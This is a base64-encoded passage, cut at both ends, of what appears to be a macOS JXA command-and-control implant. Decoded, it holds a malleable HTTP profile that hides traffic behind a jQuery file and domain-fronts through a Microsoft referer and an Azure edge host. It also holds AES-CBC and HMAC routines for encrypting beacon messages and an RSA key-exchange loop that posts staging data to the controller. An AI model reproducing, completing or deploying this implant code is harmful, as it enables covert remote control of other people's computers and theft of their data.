lzLm9uKGUsbnVsbCx0LG4pfSx1bmJpbmQ6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5vZmYoZSxudWxsLHQpfSxkZWxlZ2F0ZTpmdW5jdGlvbihlLHQsbixyKXtyZXR1cm4gdGhpcy5vbih0LGUsbixyKX0sdW5kZWxlZ2F0ZTpmdW5jdGlvbihlLHQsbil7cmV0dXJuIDE9PT1hcmd1bWVudHMubGVuZ3RoP3RoaXMub2ZmKGUsXCIqKlwiKTp0aGlzLm9mZih0LGV8fFwiKipcIixuKX19KSx3LnByb3h5PWZ1bmN0aW9uKGUsdCl7dmFyIG4scixpO2lmKFwic3RyaW5nXCI9PXR5cGVvZiB0JiYobj1lW3RdLHQ9ZSxlPW4pLGcoZSkpcmV0dXJuIHI9by5jYWxsKGFyZ3VtZW50cywyKSxpPWZ1bmN0aW9uKCl7cmV0dXJuIGUuYXBwbHkodHx8dGhpcyxyLmNvbmNhdChvLmNhbGwoYXJndW1lbnRzKSkpfSxpLmd1aWQ9ZS5ndWlkPWUuZ3VpZHx8dy5ndWlkKyssaX0sdy5ob2xkUmVhZHk9ZnVuY3Rpb24oZSl7ZT93LnJlYWR5V2FpdCsrOncucmVhZHkoITApfSx3LmlzQXJyYXk9QXJyYXkuaXNBcnJheSx3LnBhcnNlSlNPTj1KU09OLnBhcnNlLHcubm9kZU5hbWU9Tix3LmlzRnVuY3Rpb249Zyx3LmlzV2luZG93PXksdy5jYW1lbENhc2U9Ryx3LnR5cGU9eCx3Lm5vdz1EYXRlLm5vdyx3LmlzTnVtZXJpYz1mdW5jdGlvbihlKXt2YXIgdD13LnR5cGUoZSk7cmV0dXJuKFwibnVtYmVyXCI9PT10fHxcInN0cmluZ1wiPT09dCkmJiFpc05hTihlLXBhcnNlRmxvYXQoZSkpfSxcImZ1bmN0aW9uXCI9PXR5cGVvZiBkZWZpbmUmJmRlZmluZS5hbWQmJmRlZmluZShcImpxdWVyeVwiLFtdLGZ1bmN0aW9uKCl7cmV0dXJuIHd9KTt2YXIgSnQ9ZS5qUXVlcnksS3Q9ZS4kO3JldHVybiB3Lm5vQ29uZmxpY3Q9ZnVuY3Rpb24odCl7cmV0dXJuIGUuJD09PXcmJihlLiQ9S3QpLHQmJmUualF1ZXJ5PT09dyYmKGUualF1ZXJ5PUp0KSx3fSx0fHwoZS5qUXVlcnk9ZS4kPXcpLHd9KTsiXQogICAgICB9CiAgICBdLAogICAgIlNlcnZlckhlYWRlcnMiOiB7CiAgICAgICAgIlNlcnZlciI6ICJBcGFjaGUiLAogICAgICAgICJDYWNoZS1Db250cm9sIjogIm1heC1hZ2U9MCwgbm8tY2FjaGUiLAogICAgICAgICJQcmFnbWEiOiAibm8tY2FjaGUiLAogICAgICAgICJDb25uZWN0aW9uIjogImtlZXAtYWxpdmUiLAogICAgICAgICJDb250ZW50LVR5cGUiOiAiYXBwbGljYXRpb24vamF2YXNjcmlwdDsgY2hhcnNldD11dGYtOCIKICAgICAgfSwKICAgICJTZXJ2ZXJDb29raWVzIjoge30sCiAgICAiQWdlbnRNZXNzYWdlIjogW3sKICAgICAgInVybHMiOiBbImh0dHBzOi8vZXhwZXJ0em9uZS5taWNyb3NvZnQuY29tIl0sCiAgICAgICJ1cmkiOiAiLzx0ZXN0OnN0cmluZz4iLAogICAgICAidXJsRnVuY3Rpb25zIjogWwogICAgICAgIHsKICAgICAgICAgICJuYW1lIjogIjx0ZXN0OnN0cmluZz4iLAogICAgICAgICAgInZhbHVlIjogIiIsCiAgICAgICAgICAidHJhbnNmb3JtcyI6IFsKICAgICAgICAgICAgewogICAgICAgICAgICAgICJmdW5jdGlvbiI6ICJjaG9vc2VfcmFuZG9tIiwKICAgICAgICAgICAgICAicGFyYW1ldGVycyI6IFsianF1ZXJ5LTMuNC4xLm1pbi5qcyIsImpxdWVyeS0zLjQuMS5tYXAiXQogICAgICAgICAgICB9CiAgICAgICAgICBdCiAgICAgICAgfQogICAgICBdLAogICAgICAiQWdlbnRIZWFkZXJzIjogewogICAgICAgICJBY2NlcHQiOiAidGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44IiwKICAgICAgICAiSG9zdCI6ICJvbHltcGljLmF6dXJlZWRnZS5uZXQiLAogICAgICAgICJSZWZlcmVyIjogImh0dHBzOi8vZXhwZXJ0em9uZS5taWNyb3NvZnQuY29tIiwKICAgICAgICAiQWNjZXB0LUVuY29kaW5nIjogImd6aXAsIGRlZmxhdGUiLAogICAgICAgICJVc2VyLUFnZW50IjogIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE0XzYpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xMi4xLjIgU2FmYXJpLzYwNS4xLjE1IiwKICAgICAgICAiWC1Qb3dlcmVkLUJ5IjogIjY2YTBmYzE4LWMwYjctNGJiOS04YWU2LThjYjgwYWEwZjhlOSIKICAgICAgfSwKICAgICAgIlF1ZXJ5UGFyYW1ldGVycyI6IFsKICAgICAgICAgIHsKICAgICAgICAgICAgIm5hbWUiOiAicyIsCiAgICAgICAgICAgICJ2YWx1ZSI6ICJtZXNzYWdlIiwKICAgICAgICAgICAgInRyYW5zZm9ybXMiOiBbCiAgICAgICAgICAgIF0KICAgICAgICAgIH0KICAgICAgXSwKICAgICAgIkNvb2tpZXMiOiBbCiAgICAgICAgIHsKICAgICAgICAgICJuYW1lIjogIl9fc2Vzc2lvbiIsCiAgICAgICAgICAidmFsdWUiOiAiIiwKICAgICAgICAgICJ0cmFuc2Zvcm1zIjogWwogICAgICAgICAgICB7CiAgICAgICAgICAgICAgImZ1bmN0aW9uIjogInJhbmRvbV9hbHBoYSIsCiAgICAgICAgICAgICAgInBhcmFtZXRlcnMiOiBbMzBdCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAiZnVuY3Rpb24iOiAiYmFzZTY0IiwKICAgICAgICAgICAgICAicGFyYW1ldGVycyI6IFtdCiAgICAgICAgICAgIH0KICAgICAgICAgIF0KICAgICAgICB9CiAgICAgIF0sCiAgICAgICJCb2R5IjogW10KICAgIH1dCiAgfSwKCiJQT1NUIjogewogICAgIlNlcnZlckJvZHkiOiBbXSwKICAgICJTZXJ2ZXJDb29raWVzIjoge30sCiAgICAiU2VydmVySGVhZGVycyI6IHsKICAgICAgICAgICJTZXJ2ZXIiOiAiQXBhY2hlIiwKICAgICAgICAgICJDYWNoZS1Db250cm9sIjogIm1heC1hZ2U9MCwgbm8tY2FjaGUiLAogICAgICAgICAgIlByYWdtYSI6ICJuby1jYWNoZSIsCiAgICAgICAgICAiQ29ubmVjdGlvbiI6ICJrZWVwLWFsaXZlIiwKICAgICAgICAgICJDb250ZW50LVR5cGUiOiAiYXBwbGljYXRpb24vamF2YXNjcmlwdDsgY2hhcnNldD11dGYtOCIKICAgICAgICB9LAogICAgIkFnZW50TWVzc2FnZSI6IFt7CiAgICAgICJ1cmxzIjogWyJodHRwczovL2V4cGVydHpvbmUubWljcm9zb2Z0LmNvbSJdLAogICAgICAidXJpIjogIi91cGRhdGUucGhwIiwKICAgICAgInVybEZ1bmN0aW9ucyI6IFtdLAogICAgICAiUXVlcnlQYXJhbWV0ZXJzIjogWwogICAgICAgIHsKICAgICAgICAgICJuYW1lIjogInQiLAogICAgICAgICAgInZhbHVlIjogIjIwIiwKICAgICAgICAgICJ0cmFuc2Zvcm1zIjogW10KICAgICAgICB9CiAgICAgIF0sCiAgICAgICJBZ2VudEhlYWRlcnMiOiB7CiAgICAgICAgIkFjY2VwdCI6ICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiLAogICAgICAgICJIb3N0IjogIm9seW1waWMuYXp1cmVlZGdlLm5ldCIsCiAgICAgICAgIlJlZmVyZXIiOiAiaHR0cHM6Ly9leHBlcnR6b25lLm1pY3Jvc29mdC5jb20iLAogICAgICAgICJBY2NlcHQtRW5jb2RpbmciOiAiZ3ppcCwgZGVmbGF0ZSIsCiAgICAgICAgIlVzZXItQWdlbnQiOiAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTRfNikgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEyLjEuMiBTYWZhcmkvNjA1LjEuMTUiLAogICAgICAgICJYLVBvd2VyZWQtQnkiOiAiNjZhMGZjMTgtYzBiNy00YmI5LThhZTYtOGNiODBhYTBmOGU5IgogICAgICB9LAogICAgICAiQ29va2llcyI6IFsKICAgICAgICB7CiAgICAgICAgICAibmFtZSI6ICJfX3Nlc3Npb24iLAogICAgICAgICAgInZhbHVlIjogIjdhZWE2MmQ1LTY2MDEtNGExZC1hMmEwLTBhOGIwMzkxMGZkYiIsCiAgICAgICAgICAidHJhbnNmb3JtcyI6IFsKICAgICAgICAgICAgewogICAgICAgICAgICAgICJmdW5jdGlvbiI6ICJwcmVwZW5kIiwKICAgICAgICAgICAgICAicGFyYW1ldGVycyI6IFsKICAgICAgICAgICAgICAgICJ1dWlkXyIKICAgICAgICAgICAgICBdCiAgICAgICAgICAgIH0KICAgICAgICAgIF0KICAgICAgICB9CiAgICAgIF0sCiAgICAgICJCb2R5IjogWwogICAgICAgIHsKICAgICAgICAgICJmdW5jdGlvbiI6ICJiYXNlNjQiLAogICAgICAgICAgInBhcmFtZXRlcnMiOiBbXQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgImZ1bmN0aW9uIjogInByZXBlbmQiLAogICAgICAgICAgInBhcmFtZXRlcnMiOiBbImFHVm0iXQogICAgICAgIH0sCiAgICAgICAgICB7CiAgICAgICAgICAiZnVuY3Rpb24iOiAiYXBwZW5kIiwKICAgICAgICAgICJwYXJhbWV0ZXJzIjogWyJXbDNnIl0KICAgICAgICB9CiAgICAgIF0KICAgIH1dCiAgfSwKICAiaml0dGVyIjogMjAsCiAgImludGVydmFsIjogMTAsCiAgImNodW5rX3NpemUiOiA1MTIwMDAwLAogICJrZXlfZXhjaGFuZ2UiOiBmYWxzZSwKICAia2lsbF9kYXRlIjogIiIKfQo7CgkJdGhpcy5nZXRfbWVzc2FnZXMgPSB0aGlzLmMyX2NvbmZpZ1snR0VUJ11bJ0FnZW50TWVzc2FnZSddOwogICAgICAgIHRoaXMucG9zdF9tZXNzYWdlcyA9IHRoaXMuYzJfY29uZmlnWydQT1NUJ11bJ0FnZW50TWVzc2FnZSddOwogICAgICAgIHRoaXMuaW50ZXJ2YWwgPSB0aGlzLmMyX2NvbmZpZ1snaW50ZXJ2YWwnXTsKICAgICAgICB0aGlzLmNodW5rX3NpemUgPSB0aGlzLmMyX2NvbmZpZ1snY2h1bmtfc2l6ZSddOwogICAgICAgIHRoaXMuaml0dGVyID0gdGhpcy5jMl9jb25maWdbJ2ppdHRlciddOwogICAgICAgIHRoaXMuYWVzX3BzayA9ICIiOyAvLyBiYXNlNjQgZW5jb2RlZCBrZXkKICAgICAgICBpZih0aGlzLmFlc19wc2sgIT09ICIiKXsKCQkgICAgdGhpcy5wYXJhbWV0ZXJzID0gJC5DRkRpY3Rpb25hcnlDcmVhdGVNdXRhYmxlKCQua0NGQWxsb2NhdG9yRGVmYXVsdCwgMCwgJC5rQ0ZUeXBlRGljdGlvbmFyeUtleUNhbGxCYWNrcywgJC5rQ0ZUeXBlRGljdGlvbmFyeVZhbHVlQ2FsbEJhY2tzKTsKCQkgICAgJC5DRkRpY3Rpb25hcnlTZXRWYWx1ZSh0aGlzLnBhcmFtZXRlcnMsICQua1NlY0F0dHJLZXlUeXBlLCAkLmtTZWNBdHRyS2V5VHlwZUFFUyk7CgkJICAgICQuQ0ZEaWN0aW9uYXJ5U2V0VmFsdWUodGhpcy5wYXJhbWV0ZXJzLCAkLmtTZWNBdHRyS2V5U2l6ZUluQml0cywgJC5rU2VjQUVTMjU2KTsKCQkgICAgJC5DRkRpY3Rpb25hcnlTZXRWYWx1ZSh0aGlzLnBhcmFtZXRlcnMsICQua1NlY0F0dHJLZXlDbGFzcywgJC5rU2VjQXR0cktleUNsYXNzU3ltbWV0cmljKTsKCQkgICAgJC5DRkRpY3Rpb25hcnlTZXRWYWx1ZSh0aGlzLnBhcmFtZXRlcnMsICQua1NlY0NsYXNzLCAkLmtTZWNDbGFzc0tleSk7CiAgICAgICAgICAgIHRoaXMucmF3X2tleSA9ICQuTlNEYXRhLmFsbG9jLmluaXRXaXRoQmFzZTY0RW5jb2RpbmcodGhpcy5hZXNfcHNrKTsKICAgICAgICAgICAgbGV0IGVyciA9IFJlZigpOwogICAgICAgICAgICB0aGlzLmNyeXB0b2tleSA9ICQuU2VjS2V5Q3JlYXRlRnJvbURhdGEodGhpcy5wYXJhbWV0ZXJzLCB0aGlzLnJhd19rZXksIGVycik7CgkJfQogICAgICAgIHRoaXMudXNpbmdfa2V5X2V4Y2hhbmdlID0gdGhpcy5jMl9jb25maWdbJ2tleV9leGNoYW5nZSddOwogICAgICAgIHRoaXMuZXhjaGFuZ2luZ19rZXlzID0gdGhpcy51c2luZ19rZXlfZXhjaGFuZ2U7CiAgICAgICAgdGhpcy5kYXRlRm9ybWF0dGVyID0gJC5OU0RhdGVGb3JtYXR0ZXIuYWxsb2MuaW5pdDsKICAgICAgICB0aGlzLmRhdGVGb3JtYXR0ZXIuc2V0RGF0ZUZvcm1hdCgieXl5eS1NTS1kZCIpOwogICAgICAgIGlmKHRoaXMuYzJfY29uZmlnWydraWxsX2RhdGUnXSAhPT0gdW5kZWZpbmVkICYmIHRoaXMuYzJfY29uZmlnWydraWxsX2RhdGUnXSAhPT0gIiIpewogICAgICAgICAgICB0aGlzLmtpbGxfZGF0ZSA9IHRoaXMuZGF0ZUZvcm1hdHRlci5kYXRlRnJvbVN0cmluZyh0aGlzLmMyX2NvbmZpZ1sna2lsbF9kYXRlJ10pOwogICAgICAgIH1lbHNlewogICAgICAgICAgICB0aGlzLmtpbGxfZGF0ZSA9ICQuTlNEYXRlLmRpc3RhbnRGdXR1cmU7CiAgICAgICAgfQoJfQogICAgZ2V0X3JhbmRvbV9lbGVtZW50KHgpewoJICAgIHJldHVybiB4W01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIHgubGVuZ3RoKV07CiAgICB9CgllbmNyeXB0X21lc3NhZ2UodWlkLCBkYXRhKXsKCSAgICAvLyB0YWtlcyBpbiB0aGUgc3RyaW5nIHdlJ3JlIGFib3V0IHRvIHNlbmQsIGVuY3J5cHRzIGl0LCBhbmQgcmV0dXJucyBhIG5ldyBzdHJpbmcKCSAgICBsZXQgZXJyID0gUmVmKCk7CgkgICAgbGV0IGVuY3J5cHQgPSAkLlNlY0VuY3J5cHRUcmFuc2Zvcm1DcmVhdGUodGhpcy5jcnlwdG9rZXksZXJyKTsKCSAgICBsZXQgYiA9ICQuU2VjVHJhbnNmb3JtU2V0QXR0cmlidXRlKGVuY3J5cHQsICQoIlNlY1BhZGRpbmdLZXkiKSwgJCgiU2VjUGFkZGluZ1BLQ1M3S2V5IiksIGVycik7CgkgICAgYj0gJC5TZWNUcmFuc2Zvcm1TZXRBdHRyaWJ1dGUoZW5jcnlwdCwgJCgiU2VjRW5jcnlwdGlvbk1vZGUiKSwgJCgiU2VjTW9kZUNCQ0tleSIpLCBlcnIpOwoKICAgICAgICAvL2dlbmVyYXRlIGEgcmFuZG9tIElWIHRvIHVzZQoJICAgIGxldCBJViA9ICQuTlNNdXRhYmxlRGF0YS5kYXRhV2l0aExlbmd0aCgxNik7CgkgICAgJC5TZWNSYW5kb21Db3B5Qnl0ZXMoJC5rU2VjUmFuZG9tRGVmYXVsdCwgMTYsIElWLmJ5dGVzKTsKCSAgICBiID0gJC5TZWNUcmFuc2Zvcm1TZXRBdHRyaWJ1dGUoZW5jcnlwdCwgJCgiU2VjSVZLZXkiKSwgSVYsIGVycik7CgkgICAgLy8gc2V0IG91ciBkYXRhIHRvIGJlIGVuY3J5cHRlZAoJICAgIGxldCBuc2RhdGEgPSAkKGRhdGEpLmRhdGFVc2luZ0VuY29kaW5nKCQuTlNVVEY4U3RyaW5nRW5jb2RpbmcpOwogICAgICAgIGI9JC5TZWNUcmFuc2Zvcm1TZXRBdHRyaWJ1dGUoZW5jcnlwdCwgJC5rU2VjVHJhbnNmb3JtSW5wdXRBdHRyaWJ1dGVOYW1lLCBuc2RhdGEsIGVycik7CiAgICAgICAgLy8kLkNGU2hvdyhlcnJbMF0pOwogICAgICAgIGxldCBlbmNyeXB0ZWREYXRhID0gJC5TZWNUcmFuc2Zvcm1FeGVjdXRlKGVuY3J5cHQsIGVycik7CiAgICAgICAgLy8gbm93IHdlIG5lZWQgdG8gcHJlcGVuZCB0aGUgSVYgdG8gdGhlIGVuY3J5cHRlZCBkYXRhIGJlZm9yZSB3ZSBiYXNlNjQgZW5jb2RlIGFuZCByZXR1cm4gaXQKICAgICAgICAvL2dlbmVyYXRlIHRoZSBobWFjCgkgICAgbGV0IGhtYWNfdHJhbnNmb3JtID0gJC5TZWNEaWdlc3RUcmFuc2Zvcm1DcmVhdGUoJCgiSE1BQy1TSEEyIERpZ2VzdCBGYW1pbHkiKSwgMjU2LCBlcnIpOwoJICAgIGxldCBobWFjX2lucHV0ID0gJC5OU011dGFibGVEYXRhLmRhdGFXaXRoTGVuZ3RoKDApOwoJICAgIGhtYWNfaW5wdXQuYXBwZW5kRGF0YShJVik7CgkgICAgaG1hY19pbnB1dC5hcHBlbmREYXRhKGVuY3J5cHRlZERhdGEpOwoJCWI9JC5TZWNUcmFuc2Zvcm1TZXRBdHRyaWJ1dGUoaG1hY190cmFuc2Zvcm0sICQua1NlY1RyYW5zZm9ybUlucHV0QXR0cmlidXRlTmFtZSwgaG1hY19pbnB1dCwgZXJyKTsKCQliPSQuU2VjVHJhbnNmb3JtU2V0QXR0cmlidXRlKGhtYWNfdHJhbnNmb3JtLCAkLmtTZWNEaWdlc3RITUFDS2V5QXR0cmlidXRlLCAkLk5TRGF0YS5hbGxvYy5pbml0V2l0aEJhc2U2NEVuY29kaW5nKHRoaXMuYWVzX3BzayksIGVycik7CgkJbGV0IGhtYWNfZGF0YSA9ICQuU2VjVHJhbnNmb3JtRXhlY3V0ZShobWFjX3RyYW5zZm9ybSwgZXJyKTsKCiAgICAgICAgbGV0IGZpbmFsX21lc3NhZ2UgPSAkLk5TTXV0YWJsZURhdGEuZGF0YVdpdGhMZW5ndGgoMCk7CiAgICAgICAgZmluYWxfbWVzc2FnZS5hcHBlbmREYXRhKCAkKHVpZCkuZGF0YVVzaW5nRW5jb2RpbmcoJC5OU1VURjhTdHJpbmdFbmNvZGluZykgKTsKICAgICAgICBmaW5hbF9tZXNzYWdlLmFwcGVuZERhdGEoSVYpOwogICAgICAgIGZpbmFsX21lc3NhZ2UuYXBwZW5kRGF0YShlbmNyeXB0ZWREYXRhKTsKICAgICAgICBmaW5hbF9tZXNzYWdlLmFwcGVuZERhdGEoaG1hY19kYXRhKTsKICAgICAgICByZXR1cm4gZmluYWxfbWVzc2FnZS5iYXNlNjRFbmNvZGVkU3RyaW5nV2l0aE9wdGlvbnMoMCk7Cgl9CglkZWNyeXB0X21lc3NhZ2UobnNkYXRhKXsKICAgICAgICAvL3Rha2VzIGluIGEgYmFzZTY0IGVuY29kZWQgc3RyaW5nIHRvIGJlIGRlY3J5cHRlZCBhbmQgcmV0dXJuZWQKICAgICAgICAvL2NvbnNvbGUubG9nKCJjYWxsZWQgZGVjcnlwdCIpOwogICAgICAgIGxldCBlcnIgPSBSZWYoKTsKICAgICAgICBsZXQgZGVjcnlwdCA9ICQuU2VjRGVjcnlwdFRyYW5zZm9ybUNyZWF0ZSh0aGlzLmNyeXB0b2tleSwgZXJyKTsKICAgICAgICAkLlNlY1RyYW5zZm9ybVNldEF0dHJpYnV0ZShkZWNyeXB0LCAkKCJTZWNQYWRkaW5nS2V5IiksICQoIlNlY1BhZGRpbmdQS0NTN0tleSIpLCBlcnIpOwoJICAgICQuU2VjVHJhbnNmb3JtU2V0QXR0cmlidXRlKGRlY3J5cHQsICQoIlNlY0VuY3J5cHRpb25Nb2RlIiksICQoIlNlY01vZGVDQkNLZXkiKSwgZXJyKTsKCSAgICAvL2NvbnNvbGUubG9nKCJtYWtpbmcgcmFuZ2VzIik7CiAgICAgICAgLy9uZWVkIHRvIGV4dHJhY3Qgb3V0IHRoZSBmaXJzdCAxNiBieXRlcyBhcyB0aGUgSVYgYW5kIHRoZSByZXN0IGlzIHRoZSBtZXNzYWdlIHRvIGRlY3J5cHQKICAgICAgICBsZXQgaXZfcmFuZ2UgPSAkLk5TTWFrZVJhbmdlKDAsIDE2KTsKICAgICAgICBsZXQgbWVzc2FnZV9yYW5nZSA9ICQuTlNNYWtlUmFuZ2UoMTYsIG5zZGF0YS5sZW5ndGggLSA0OCk7IC8vIDE2IGZvciBJViAzMiBmb3IgaG1hYwogICAgICAgIGxldCBobWFjX3JhbmdlID0gJC5OU01ha2VSYW5nZShuc2RhdGEubGVuZ3RoIC0gMzIsIDMyKTsKICAgICAgICBsZXQgaG1hY19kYXRhX3JhbmdlID0gJC5OU01ha2VSYW5nZSgwLCBuc2RhdGEubGVuZ3RoIC0gMzIpOyAvLyBobWFjIGluY2x1ZGVzIElWICsgY2lwaGVydGV4dAogICAgICAgIC8vY29uc29sZS5sb2coImNhcnZpbmcgb3V0IGl2Iik7CiAgICAgICAgbGV0IGl2ID0gbnNkYXRhLnN1YmRhdGFXaXRoUmFuZ2UoaXZfcmFuZ2UpOwogICAgICAgICQuU2VjVHJhbnNmb3JtU2V0QXR0cmlidXRlKGRlY3J5cHQsICQoIlNlY0lWS2V5IiksIGl2LCBlcnIpOwogICAgICAgIGxldCBtZXNzYWdlID0gbnNkYXRhLnN1YmRhdGFXaXRoUmFuZ2UobWVzc2FnZV9yYW5nZSk7CiAgICAgICAgJC5TZWNUcmFuc2Zvcm1TZXRBdHRyaWJ1dGUoZGVjcnlwdCwgJCgiSU5QVVQiKSwgbWVzc2FnZSwgZXJyKTsKICAgICAgICAvLyBjcmVhdGUgYW4gaG1hYyBhbmQgdmVyaWZ5IGl0IG1hdGNoZXMKICAgICAgICBsZXQgbWVzc2FnZV9obWFjID0gbnNkYXRhLnN1YmRhdGFXaXRoUmFuZ2UoaG1hY19yYW5nZSk7CiAgICAgICAgbGV0IGhtYWNfdHJhbnNmb3JtID0gJC5TZWNEaWdlc3RUcmFuc2Zvcm1DcmVhdGUoJCgiSE1BQy1TSEEyIERpZ2VzdCBGYW1pbHkiKSwgMjU2LCBlcnIpOwoJCSQuU2VjVHJhbnNmb3JtU2V0QXR0cmlidXRlKGhtYWNfdHJhbnNmb3JtLCAkLmtTZWNUcmFuc2Zvcm1JbnB1dEF0dHJpYnV0ZU5hbWUsIG5zZGF0YS5zdWJkYXRhV2l0aFJhbmdlKGhtYWNfZGF0YV9yYW5nZSksIGVycik7CgkJJC5TZWNUcmFuc2Zvcm1TZXRBdHRyaWJ1dGUoaG1hY190cmFuc2Zvcm0sICQua1NlY0RpZ2VzdEhNQUNLZXlBdHRyaWJ1dGUsICQuTlNEYXRhLmFsbG9jLmluaXRXaXRoQmFzZTY0RW5jb2RpbmcodGhpcy5hZXNfcHNrKSwgZXJyKTsKCQlsZXQgaG1hY19kYXRhID0gJC5TZWNUcmFuc2Zvcm1FeGVjdXRlKGhtYWNfdHJhbnNmb3JtLCBlcnIpOwoJCWlmKGhtYWNfZGF0YS5pc0VxdWFsVG9EYXRhKG1lc3NhZ2VfaG1hYykpewoJCQlsZXQgZGVjcnlwdGVkRGF0YSA9ICQuU2VjVHJhbnNmb3JtRXhlY3V0ZShkZWNyeXB0LCBSZWYoKSk7CgkgICAgICAgIC8vY29uc29sZS5sb2coIm1ha2luZyBhIHN0cmluZyBmcm9tIHRoZSBtZXNzYWdlIik7CgkgICAgICAgIGxldCBkZWNyeXB0ZWRfbWVzc2FnZSA9ICQuTlNTdHJpbmcuYWxsb2MuaW5pdFdpdGhEYXRhRW5jb2RpbmcoZGVjcnlwdGVkRGF0YSwgJC5OU1VURjhTdHJpbmdFbmNvZGluZyk7CgkgICAgICAgIC8vY29uc29sZS5sb2coZGVjcnlwdGVkX21lc3NhZ2UuanMpOwoJICAgICAgICByZXR1cm4gZGVjcnlwdGVkX21lc3NhZ2U7CgkJfQoJCWVsc2V7CgkJCXJldHVybiB1bmRlZmluZWQ7CgkJfQoJfQogICAgbmVnb3RpYXRlX2tleSgpewogICAgICAgIC8vIEdlbmVyYXRlIGEgcHVibGljL3ByaXZhdGUga2V5IHBhaXIKICAgICAgICBsZXQgcGFyYW1ldGVycyA9ICQoeyJ0eXBlIjogJCgiNDIiKSwgImJzaXoiOiA0MDk2LCAicGVybSI6IGZhbHNlfSk7CiAgICAgICAgbGV0IGVyciA9IFJlZigpOwogICAgICAgIGxldCBwcml2YXRla2V5ID0gJC5TZWNLZXlDcmVhdGVSYW5kb21LZXkocGFyYW1ldGVycywgZXJyKTsKICAgICAgICAvL2NvbnNvbGUubG9nKCJnZW5lcmF0ZWQgbmV3IGtleSIpOwogICAgICAgIGxldCBwdWJsaWNrZXkgPSAkLlNlY0tleUNvcHlQdWJsaWNLZXkocHJpdmF0ZWtleSk7CiAgICAgICAgbGV0IGV4cG9ydGVkX3B1YmxpYyA9ICQuU2VjS2V5Q29weUV4dGVybmFsUmVwcmVzZW50YXRpb24ocHVibGlja2V5LCBlcnIpOwogICAgICAgIC8vJC5DRlNob3coJC5DRk1ha2VDb2xsZWN0YWJsZShlcnJbMF0pKTsKICAgICAgICB0cnl7CiAgICAgICAgCS8vdGhpcyBpcyB0aGUgY2F0YWxpbmEgY2FzZQogICAgICAgIAlsZXQgYjY0X2V4cG9ydGVkX3B1YmxpYyA9ICQuQ0ZNYWtlQ29sbGVjdGFibGUoZXhwb3J0ZWRfcHVibGljKTsKICAgICAgICAJYjY0X2V4cG9ydGVkX3B1YmxpYyA9IGI2NF9leHBvcnRlZF9wdWJsaWMuYmFzZTY0RW5jb2RlZFN0cmluZ1dpdGhPcHRpb25zKDApLmpzOyAvLyBnZXQgYSBiYXNlNjQgZW5jb2RlZCBzdHJpbmcgdmVyc2lvbgogICAgICAgIAlleHBvcnRlZF9wdWJsaWMgPSBiNjRfZXhwb3J0ZWRfcHVibGljOwogICAgICAgIH1jYXRjaChlcnJvcil7CiAgICAgICAgCS8vdGhpcyBpcyB0aGUgbW9qYXZlIGFuZCBoaWdoIHNpZXJyYSBjYXNlCiAgICAgICAgCWV4cG9ydGVkX3B1YmxpYyA9IGV4cG9ydGVkX3B1YmxpYy5iYXNlNjRFbmNvZGVkU3RyaW5nV2l0aE9wdGlvbnMoMCkuanM7CiAgICAgICAgfQogICAgICAgIGxldCBzID0gImFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5IjsKCSAgICBsZXQgc2Vzc2lvbl9rZXkgPSBBcnJheSgyMCkuam9pbigpLnNwbGl0KCcsJykubWFwKGZ1bmN0aW9uKCkgeyByZXR1cm4gcy5jaGFyQXQoTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogcy5sZW5ndGgpKTsgfSkuam9pbignJyk7CgkgICAgbGV0IGluaXRpYWxfbWVzc2FnZSA9IHsic2Vzc2lvbl9pZCI6IHNlc3Npb25fa2V5LCAicHViX2tleSI6IGV4cG9ydGVkX3B1YmxpYywgImFjdGlvbiI6ICJzdGFnaW5nX3JzYSJ9OwoJICAgLy8gRW5jcnlwdCBvdXIgaW5pdGlhbCBtZXNzYWdlIHdpdGggc2Vzc2lvbklEIGFuZCBQdWJsaWMga2V5IHdpdGggdGhlIGluaXRpYWwgQUVTIGtleQogICAgd2hpbGUodHJ1ZSl7CiAgICAgIHRyeXsKICAgICAgICAvL2xldCByZXEgPSB0aGlzLmNyZWF0ZV9tZXNzYWdlKHRoaXMuZ2V0X3JhbmRvbV9lbGVtZW50KHRoaXMucG9zdF9tZXNzYWdlcyksIGluaXRpYWxfbWVzc2FnZSwgYXBmZWxsLnV1aWQpOwogICAgICAgIC8vbGV0IHN0YWdlMSA9IHRoaXMubWFrZV9yZXF1ZXN0KHJlcSk7CiAgICAgICAgbGV0IHN0YWdlMSA9IHRoaXMubWFrZV9yZXF1ZXN0KCJQT1NUIiwgYXBmZWxsLnV1aWQsIGluaXRpYWxfbWVzc2FnZSk7CiAgICAgICAgbGV0IGVuY19rZXkgPSAkLk5TRGF0YS5hbGxvYy5pbml0V2l0aEJhc2U2NEVuY29kaW5nKHN0YWdlMVsnc2Vzc2lvbl9rZXknXSk7CiAgICAgICAgbGV0IGRlY19rZXkgPSAkLlNlY0tleUNyZWF0ZURlY3J5cHRlZERhdGEocHJpdmF0ZWtleSwgJC5rU2VjS2V5QWxnb3JpdGhtUlNBRW5jcnlwdGlvbk9BRVBTSEExLCBlbmNfa2V5LCBlcnIpOwogICAgICAgIC8vIEFkanVzdCBvdXIgZ2xvYmFsIGtleSBpbmZvcm1hdGlvbiB3aXRoIHRoZSBuZXdseSBhZGp1c3RlZCBzZXNzaW9uIGtleQogICAgICAgIHRyeXsKICAgICAgICAgICAgdGhpcy5hZXNfcHNrID0gZGVjX2tleS5iYXNlNjRFbmNvZGVkU3RyaW5nV2l0aE9wdGlvbnMoMCkuanM7IC8vIGJhc2U2NCBlbmNvZGVkIGtleQogICAgICAgIH1jYXRjaChlcnJvcil7Ci